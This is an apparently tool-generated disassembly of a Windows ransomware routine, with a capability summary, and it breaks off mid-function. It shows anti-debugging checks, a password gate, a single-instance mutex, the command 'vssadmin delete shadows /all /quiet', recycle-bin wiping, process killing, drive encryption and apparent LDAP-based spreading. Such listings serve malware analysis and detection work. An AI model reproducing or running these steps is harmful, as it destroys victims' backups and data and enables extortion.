Function at 0x410370
Capabilities:
Accept command line arguments
Check for debugger via api
Check for hardware breakpoints
Check mutex on windows
Create process on windows
Delete file
Delete volume shadow copies
Empty recycle bin quietly
Empty the recycle bin
Get disk information
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x4d8
mov eax, dword [0x45f200]
xor eax, esp
mov dword [esp + 0x4d4], eax
push esi
push edi
lea eax, [esp + 0x58]
mov dword [esp + 0x58], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [esp + 0x58], 0
jne 0x4128cf
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtQueryInformationProcess
push 0x45661c
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x4103f9
push 0
push 0x18
lea eax, [esp + 0x18]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
js 0x4103f9
mov eax, dword [esp + 0x14]
test byte [eax + 0xbc], 0x70
jne 0x4128cf
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.NtQueryInformationProcess
push 0x45661c
mov esi, eax
mov dword [esp + 0x60], 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410442
push 0
push 4
lea ecx, [esp + 0x60]
push ecx
push 7
push esi
call eax
test eax, eax
js 0x410442
cmp dword [esp + 0x58], 0
setne al
test al, al
jne 0x4128cf
push 0x2c8
lea eax, [esp + 0x1a8]
push 0
push eax
call fcn.0042b650
add esp, 0xc
mov dword [esp + 0x1a0], 0x10010
lea eax, [esp + 0x1a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4104b5
cmp dword [esp + 0x1a4], 0
jne 0x4128cf
cmp dword [esp + 0x1a8], 0
jne 0x4128cf
cmp dword [esp + 0x1ac], 0
jne 0x4128cf
cmp dword [esp + 0x1b0], 0
jne 0x4128cf
lea ecx, [esp + 0xb8]
call fcn.0040f620
cmp byte [esp + 0xf1], 0
mov esi, dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
je 0x41064b
xorps xmm0, xmm0
mov dword [esp + 0x40], 0
lea eax, [esp + 0xb4]
movaps xmmword [esp + 0x30], xmm0
mov edi, 0xf
mov byte [esp + 0x30], 0
push eax
mov dword [esp + 0x48], edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call esi
mov dword [esp + 0x58], eax
test eax, eax
je 0x410741
lea esi, [edi - 0xe]
mov edi, dword [esp + 0xb4]
cmp edi, esi
jle 0x4106c6
lea eax, [eax + esi*4]
mov ecx, str._pass
mov dword [esp + 0x60], eax
mov eax, dword [eax]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x410556
test dx, dx
je 0x410552
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x410556
add eax, 4
add ecx, 4
test dx, dx
jne 0x410530
xor eax, eax
jmp 0x41055b
sbb eax, eax
or eax, 1
inc esi
test eax, eax
jne 0x410564
cmp esi, edi
jl 0x410572
cmp esi, edi
jge 0x4106c6
mov eax, dword [esp + 0x58]
jmp 0x410522
mov eax, dword [esp + 0x60]
mov edx, dword [eax + 4]
mov ecx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410580
sub ecx, esi
sar ecx, 1
push ecx
lea eax, [edx + ecx*2]
push eax
push edx
lea ecx, [esp + 0x1c]
call fcn.004143c0
push eax
lea ecx, [esp + 0x34]
call fcn.0040c6c0
lea ecx, [esp + 0x10]
call fcn.00408f00
cmp dword [esp + 0x108], 0xf
lea eax, [esp + 0xf4]
mov edi, dword [esp + 0x44]
lea ecx, [esp + 0x30]
cmova eax, dword [esp + 0xf4]
cmp edi, 0xf
push dword [esp + 0x104]
mov esi, dword [esp + 0x34]
cmova ecx, esi
mov edx, dword [esp + 0x44]
push eax
call fcn.0040ac50
add esp, 8
test al, al
je 0x4106ce
push dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp edi, 0xf
jbe 0x410630
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x410626
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ef
push ecx
push esi
call fcn.0042980f
add esp, 8
mov esi, dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp dword [esp + 0xe8], 7
lea eax, [esp + 0xd4]
push dword [esp + 0xe4]
cmova eax, dword [esp + 0xd8]
mov ecx, 0x45fdd8
push eax
call fcn.00413e70
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call esi
mov dword [esp + 0x60], eax
test eax, eax
jne 0x41077e
lea ecx, [esp + 0xb8]
mov esi, 1
call fcn.0040fb90
mov eax, esi
pop edi
pop esi
mov ecx, dword [esp + 0x4d4]
xor ecx, esp
call fcn.004297d1
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x44]
push 0x35
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Incorrect_password_or_password_not_provided._Exiting.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x410735
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41072b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ea
push ecx
push edx
call fcn.0042980f
add esp, 8
push dword [esp + 0x58]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x410745
mov esi, dword [esp + 0x30]
cmp edi, 0xf
jbe 0x41069d
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x41076f
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ef
push ecx
push esi
call fcn.0042980f
add esp, 8
jmp 0x41069d
xor ecx, ecx
mov dword [esp + 0xa0], 0
cmp dword [esp + 0x80], 1
xorps xmm0, xmm0
movaps xmmword [esp + 0x90], xmm0
mov dword [esp + 0xa4], 7
mov word [esp + 0x90], cx
lea edi, [ecx + 4]
mov byte [esp + 0xf], cl
jle 0x410aeb
lea edi, [ecx + 2]
lea ecx, [eax + 8]
mov dword [esp + 0x58], ecx
nop dword [eax + eax]
mov edx, dword [ecx - 4]
mov ecx, str.__path
mov eax, edx
nop word [eax + eax]
mov si, word [eax]
cmp si, word [ecx]
jne 0x410806
test si, si
je 0x410802
mov si, word [eax + 2]
cmp si, word [ecx + 2]
jne 0x410806
add eax, 4
add ecx, 4
test si, si
jne 0x4107e0
xor eax, eax
jmp 0x41080b
sbb eax, eax
or eax, 1
test eax, eax
jne 0x41084a
cmp edi, dword [esp + 0x80]
jge 0x41084a
mov edx, dword [esp + 0x58]
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x410823
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [esp + 0x98]
call fcn.00413e70
mov byte [esp + 0xf], 1
jmp 0x410ac6
mov ecx, 0x45717c
mov eax, edx
mov si, word [eax]
cmp si, word [ecx]
jne 0x410877
test si, si
je 0x410873
mov si, word [eax + 2]
cmp si, word [ecx + 2]
jne 0x410877
add eax, 4
add ecx, 4
test si, si
jne 0x410851
xor eax, eax
jmp 0x41087c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x41095f
cmp edi, dword [esp + 0x80]
jge 0x41095f
mov edx, dword [esp + 0x58]
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4108a0
sub ecx, esi
mov dword [esp + 0x40], 0
sar ecx, 1
xorps xmm0, xmm0
add ecx, ecx
movaps xmmword [esp + 0x30], xmm0
mov dword [esp + 0x44], 0
lea eax, [edx + ecx]
cmp edx, eax
jne 0x4108df
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
jmp 0x4108ed
sar ecx, 1
push ecx
push ecx
push edx
lea ecx, [esp + 0x3c]
call fcn.00414ae0
mov ecx, dword [esp + 0x120]
cmp ecx, 0xf
jbe 0x410929
mov edx, dword [esp + 0x10c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41091f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128ea
push ecx
push edx
call fcn.0042980f
add esp, 8
movups xmm0, xmmword [esp + 0x30]
mov byte [esp + 0x30], 0
movups xmmword [esp + 0x10c], xmm0
movq xmm0, qword [esp + 0x40]
movq qword [esp + 0x11c], xmm0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
jmp 0x410ac6
mov ecx, 0x457184
mov eax, edx
mov si, word [eax]
cmp si, word [ecx]
jne 0x41098c
test si, si
je 0x410988
mov si, word [eax + 2]
cmp si, word [ecx + 2]
jne 0x41098c
add eax, 4
add ecx, 4
test si, si
jne 0x410966
xor eax, eax
jmp 0x410991
sbb eax, eax
or eax, 1
test eax, eax
jne 0x410a10
cmp edi, dword [esp + 0x80]
jge 0x410a10
mov edx, dword [esp + 0x58]
mov edx, dword [edx]
mov ecx, edx
lea esi, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4109b0
sub ecx, esi
sar ecx, 1
push ecx
lea eax, [edx + ecx*2]
push eax
push edx
lea ecx, [esp + 0x1c]
call fcn.004143c0
push eax
lea ecx, [esp + 0x128]
call fcn.0040c6c0
mov eax, dword [esp + 0x24]
cmp eax, 0xf
jbe 0x4109f6
push eax
push dword [esp + 0x14]
lea eax, [esp + 0x18]
push eax
call fcn.004095b0
add esp, 0xc
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
jmp 0x410ac6
mov eax, str._debug
mov cx, word [edx]
cmp cx, word [eax]
jne 0x410a3b
test cx, cx
je 0x410a37
mov cx, word [edx + 2]
cmp cx, word [eax + 2]
jne 0x410a3b
add edx, 4
add eax, 4
test cx, cx
jne 0x410a15
xor eax, eax
jmp 0x410a40
sbb eax, eax
or eax, 1
test eax, eax
jne 0x410ac6
sub esp, 0xc
mov byte [0x462c0b], 1
mov ecx, 0x45fd2c
call fcn.00413c30
test eax, eax
mov eax, dword [0x45fd28]
mov ecx, dword [eax + 4]
je 0x410a7d
add ecx, 0x45fd28
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
jmp 0x410a95
add ecx, 0x45fd28
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push 0
push eax
call fcn.00406b50
cmp dword [0x45fd78], 0
je 0x410ac6
push str.Debug_mode_enabled
lea ecx, [esp + 0x14]
call fcn.00408f50
lea ecx, [esp + 0x10]
call fcn.0040fd00
lea ecx, [esp + 0x10]
call fcn.00408f00
mov ecx, dword [esp + 0x58]
inc edi
add ecx, 4
mov dword [esp + 0x58], ecx
lea eax, [edi - 1]
cmp eax, dword [esp + 0x80]
jl 0x4107d0
mov eax, dword [esp + 0x60]
mov edi, 4
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [esp + 0x11c]
mov eax, 0x7fffffff
sub eax, ecx
cmp eax, 0xa
jb 0x4128f4
cmp dword [esp + 0x120], 0xf
lea eax, [esp + 0x10c]
push ecx
cmova eax, dword [esp + 0x110]
push eax
push 0xa
push str.Username:
push ecx
push dword [esp + 0x74]
lea ecx, [esp + 0x28]
call fcn.00409ec0
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x410b76
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410b6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128f9
push ecx
push edx
call fcn.0042980f
add esp, 8
push 0x2a
push dword [esp + 0x138]
lea ecx, [esp + 0x38]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
mov byte [esp + 0x18], 0
call fcn.00413880
push eax
mov edx, str.Password:
lea ecx, [esp + 0x14]
call fcn.004142c0
add esp, 4
mov ecx, eax
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x410bec
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410be2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128fe
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp ecx, 0xf
jbe 0x410c37
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410c2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4128fe
push ecx
push edx
call fcn.0042980f
add esp, 8
cmp byte [esp + 0xf0], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
je 0x410ced
push str.GlobalEncryptorSingleInstance
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x410c83
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x410ced
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2d
xorps xmm0, xmm0
mov dword [esp + 0x24], 0
push str.Another_instance_is_already_running._Exiting.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x2c], 0
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41100a
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411000
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412903
jmp 0x411000
push 0x1d
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Starting_shadow_copy_deletion
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
lea ecx, [esp + 0x30]
call fcn.0040fd00
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x410d54
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410d4a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412908
push ecx
push edx
call fcn.0042980f
add esp, 8
xor eax, eax
mov byte [esp + 0x30], 0
mov word [esp + 0x4b2], ax
xorps xmm0, xmm0
mov word [esp + 0x4a0], ax
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x474]
mov dword [esp + 0x44], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.cmd.exe__c_vssadmin_delete_shadows__all__quiet
push 0
mov dword [esp + 0x6c], 0xf
movlpd qword [esp + 0x49c], xmm0
movlpd qword [esp + 0x4a4], xmm0
movlpd qword [esp + 0x4ac], xmm0
movlpd qword [esp + 0x4b4], xmm0
movlpd qword [esp + 0x4bc], xmm0
movlpd qword [esp + 0x4ca], xmm0
movlpd qword [esp + 0x4d2], xmm0
mov dword [esp + 0x498], 0x44
mov dword [esp + 0x4c4], 1
movaps xmmword [esp + 0x58], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x410e20
push 0xffffffffffffffff
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x30]
call esi
push dword [esp + 0x34]
call esi
push 0x1e
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Shadow_copy_deletion_completed
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
lea ecx, [esp + 0x30]
call fcn.0040fd00
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x410e87
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410e7d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41290d
push ecx
push edx
call fcn.0042980f
add esp, 8
push 0x27
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0xf
lea ecx, [esp + 0x34]
mov byte [esp + 0x34], 0
push str.Killing_targeted_processes_and_services
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.00409b20
lea ecx, [esp + 0x30]
call fcn.0040fd00
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x410f03
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410ef9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412912
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
call fcn.0040e860
push 0x29
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
push str.Process_and_service_termination_completed
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x4c], 0
call fcn.00409b20
lea ecx, [esp + 0x30]
call fcn.0040fd00
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x410f84
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410f7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412917
push ecx
push edx
call fcn.0042980f
add esp, 8
cmp dword [esp + 0xc8], 0x20
xorps xmm0, xmm0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
je 0x411014
push 0x21
push str.Invalid_public_key_size._Exiting.
lea ecx, [esp + 0x18]
movaps xmmword [esp + 0x18], xmm0
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x41100a
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411000
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41291c
push ecx
push edx
call fcn.0042980f
add esp, 8
mov esi, 1
jmp 0x412849
push 0x15
push str.Setting_up_encryption
lea ecx, [esp + 0x38]
movaps xmmword [esp + 0x38], xmm0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.00409b20
lea ecx, [esp + 0x30]
call fcn.0040fd00
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x411078
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41106e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412921
push ecx
push edx
call fcn.0042980f
add esp, 8
cmp dword [esp + 0xcc], 0xf
lea eax, [esp + 0xb8]
push 0x20
cmova eax, dword [esp + 0xbc]
push eax
push dword [0x462c0c]
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 0xf
mov byte [esp + 0x3c], 0
call fcn.0042b0c0
add esp, 0xc
call fcn.00427f67
mov esi, eax
mov ecx, 0x462cdc
test esi, esi
cmove esi, edi
push esi
call fcn.00427030
push esi
mov ecx, 0x462cf0
call fcn.00427030
xor eax, eax
mov dword [esp + 0x84], 0
xor ecx, ecx
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], ecx
test esi, esi
jle 0x41114f
mov byte [esp + 0xe], al
mov byte [esp + 0x5f], 1
cmp eax, ecx
lea ecx, [esp + 0xe]
push ecx
lea ecx, [esp + 0x63]
push ecx
push ecx
je 0x41112d
mov edx, eax
call fcn.00414fe0
mov eax, dword [esp + 0x94]
add esp, 0xc
add eax, 8
mov dword [esp + 0x88], eax
jmp 0x411141
push eax
lea ecx, [esp + 0x94]
call fcn.00414bd0
mov eax, dword [esp + 0x88]
sub esi, 1
je 0x41114f
mov ecx, dword [esp + 0x8c]
jmp 0x411101
push 0x60
lea eax, [esp + 0x144]
push 0
push eax
call fcn.0042b650
add esp, 0xc
lea ecx, [esp + 0x140]
call fcn.00408d60
lea ecx, [esp + 0x160]
call fcn.00408d60
lea ecx, [esp + 0x180]
call fcn.00408d60
lea ecx, [esp + 0x140]
call fcn.00406dd0
cmp byte [esp + 0xd1], 0
lea ecx, [esp + 0x10]
xorps xmm0, xmm0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
push 0x1f
movaps xmmword [esp + 0x14], xmm0
jne 0x411384
push str.Starting_local_drive_encryption
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x411208
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4111fe
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412926
push ecx
push edx
call fcn.0042980f
add esp, 8
lea eax, [esp + 0x30]
mov dword [esp + 0x20], 0
xorps xmm0, xmm0
mov dword [esp + 0x24], 0xf
push eax
mov byte [esp + 0x14], 0
movq qword [esp + 0x34], xmm0
mov dword [esp + 0x3c], 0
call fcn.00407f80
mov edi, dword [esp + 0x34]
mov esi, dword [esp + 0x30]
cmp esi, edi
je 0x411252
mov ecx, esi
call fcn.0040c490
add esi, 0x18
cmp esi, edi
jne 0x411244
lea eax, [esp + 0x60]
mov dword [esp + 0x68], 0
xorps xmm0, xmm0
push eax
movq qword [esp + 0x64], xmm0
call fcn.00407630
mov edi, dword [esp + 0x64]
mov esi, dword [esp + 0x60]
cmp esi, edi
je 0x411296
nop dword [eax]
mov ecx, esi
call fcn.0040c490
add esi, 0x18
cmp esi, edi
jne 0x411280
mov edi, dword [esp + 0x64]
mov esi, dword [esp + 0x60]
test esi, esi
je 0x411308
push ecx
mov edx, edi
mov ecx, esi
call fcn.00409c00
mov ecx, dword [esp + 0x6c]
mov eax, 0x2aaaaaab
mov esi, dword [esp + 0x64]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x4112e6
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41292b
push ecx
push esi
call fcn.0042980f
add esp, 8
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
mov ecx, dword [esp + 0x30]
test ecx, ecx
je 0x4113e2
mov edx, dword [esp + 0x34]
push ecx
call fcn.00409c00
mov ecx, dword [esp + 0x3c]
mov eax, 0x2aaaaaab
mov esi, dword [esp + 0x34]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x411360
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41292b
push ecx
push esi
call fcn.0042980f
add esp, 8
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
jmp 0x4113e2
push str.Skipping_local_drive_encryption
call fcn.00409b20
lea ecx, [esp + 0x10]
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4113cd
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4113c3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412930
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
mov esi, dword [esp + 0xa0]
test esi, esi
je 0x4115f3
cmp dword [esp + 0xa4], 7
lea ecx, [esp + 0x90]
xorps xmm0, xmm0
mov dword [esp + 0x70], 0
cmova ecx, dword [esp + 0x90]
movaps xmmword [esp + 0x60], xmm0
mov dword [esp + 0x74], 0
lea ecx, [ecx + esi*2]
lea esi, [esp + 0x90]
cmova esi, dword [esp + 0x90]
cmp esi, ecx
jne 0x411445
mov dword [esp + 0x74], 0xf
mov byte [esp + 0x60], 0
jmp 0x411455
sub ecx, esi
sar ecx, 1
push ecx
push ecx
push esi
lea ecx, [esp + 0x6c]
call fcn.00414ae0
lea eax, [esp + 0x60]
mov edx, str.Processing_specific_target_path:
push eax
lea ecx, [esp + 0x14]
call fcn.004142c0
add esp, 4
mov ecx, eax
call fcn.0040fd00
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4114a8
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41149e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412935
push ecx
push edx
call fcn.0042980f
add esp, 8
mov ecx, dword [esp + 0x74]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp ecx, 0xf
jbe 0x4114f3
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4114e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412935
push ecx
push edx
call fcn.0042980f
add esp, 8
mov edx, dword [esp + 0xa4]
lea ecx, [esp + 0x90]
mov esi, dword [esp + 0x90]
cmp edx, 7
mov eax, dword [esp + 0xa0]
xorps xmm0, xmm0
cmova ecx, esi
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xf
mov byte [esp + 0x60], 0
movaps xmmword [esp + 0x30], xmm0
lea eax, [ecx + eax*2]
mov dword [esp + 0x40], 0
lea ecx, [esp + 0x90]
mov dword [esp + 0x44], 0
cmova ecx, esi
cmp ecx, eax
jne 0x411562
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
jmp 0x411580
sub eax, ecx
sar eax, 1
push eax
push ecx
push ecx
lea ecx, [esp + 0x3c]
call fcn.00414ae0
mov edx, dword [esp + 0xa4]
mov esi, dword [esp + 0x90]
cmp edx, 7
lea eax, [esp + 0x90]
cmova eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
lea ecx, [esp + 0x30]
test eax, eax
je 0x4115a3
call fcn.0040c490
jmp 0x4115a8
call fcn.0040acd0
mov ecx, dword [esp + 0x44]
cmp ecx, 0xf
jbe 0x4115de
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4115d4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41293a
push ecx
push edx
call fcn.0042980f
add esp, 8
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0xf
mov byte [esp + 0x30], 0
cmp byte [esp + 0xd0], 0
lea ecx, [esp + 0x30]
xorps xmm0, xmm0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
push 0x18
movaps xmmword [esp + 0x34], xmm0
jne 0x411718
push str.Starting_LDAP_deployment
call fcn.00409b20
cmp byte [0x462c0b], 0
je 0x4116b8
push 0
call fcn.0042fd0b
add esp, 4
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x64], edx
push eax
call fcn.00430004
add esp, 4
push eax
push str._Y__m__d__H:_M:_S
lea eax, [esp + 0x478]
push 0x64
push eax
call fcn.0042f466
mov edx, 0x457024
mov ecx, 0x45fd28
call fcn.00413f80
lea edx, [esp + 0x480]
mov ecx, eax
call fcn.00413f80
mov edx, 0x457020
mov ecx, eax
call fcn.00413f80
cmp dword [esp + 0x54], 0xf
lea edx, [esp + 0x40]
push dword [esp + 0x50]
cmova edx, dword [esp + 0x44]
